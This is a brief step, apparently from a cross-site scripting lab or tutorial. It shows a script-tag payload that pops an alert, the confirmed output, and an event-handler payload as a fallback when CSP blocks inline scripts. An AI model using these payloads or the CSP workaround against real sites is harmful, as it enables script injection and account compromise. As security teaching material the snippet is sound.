Replace the HTML tag with a script tag to execute JavaScript.
Command / Input
<script>alert(1)</script>
Output
An alert box appears with "1". XSS confirmed.
⚑ If the browser blocks inline scripts due to CSP, try an event-handler payload instead: <img src=x onerror=alert(1)>